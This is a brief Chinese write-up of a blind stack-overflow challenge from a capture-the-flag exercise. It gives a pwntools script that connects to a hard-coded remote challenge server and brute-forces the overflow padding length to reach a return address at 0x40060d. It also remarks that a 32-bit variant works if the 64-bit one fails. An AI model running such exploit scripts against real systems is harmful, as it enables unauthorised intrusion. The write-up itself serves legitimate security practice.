接觸的比較少的盲打類型,算是積累經(jīng)驗吧,用到的漏洞是棧溢出,需要考慮64位和32位系統(tǒng)兩種情況,并用try except做自動化的測試。
exp:
from pwn import *
# context.log_level = "debug"
shell = 0x40060d
for i in range(1000):
r = remote("111.200.241.244", 62243)
log.info("payload lenth:" + str(i))
try:
r.sendlineafter(b">", cyclic(i) + p64(shell))
print(r.recv())
except:
pass
64位沒跑通換32位即可。